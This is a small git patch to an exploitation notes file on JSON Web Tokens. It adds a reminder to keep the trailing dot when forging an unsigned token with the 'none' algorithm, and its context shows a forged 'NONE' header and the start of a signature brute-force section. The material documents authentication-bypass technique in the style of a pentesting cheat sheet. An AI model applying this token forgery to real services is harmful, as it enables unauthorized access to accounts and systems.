From 5f83ee9efd7606ec4c2f7d1fe5249e770ba64840 Mon Sep 17 00:00:00 2001 From: whx Date: Wed, 8 Mar 2023 18:21:36 +0100 Subject: [PATCH] added reminder to JWT None algorithm bypass --- Exploits/Web/JWT.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Exploits/Web/JWT.md b/Exploits/Web/JWT.md index 11d3625..3f9d57a 100644 --- a/Exploits/Web/JWT.md +++ b/Exploits/Web/JWT.md @@ -32,6 +32,8 @@ eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K ``` +__Remember to include the `.` at the end even if there is no signature + ## Brute Force ```python HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)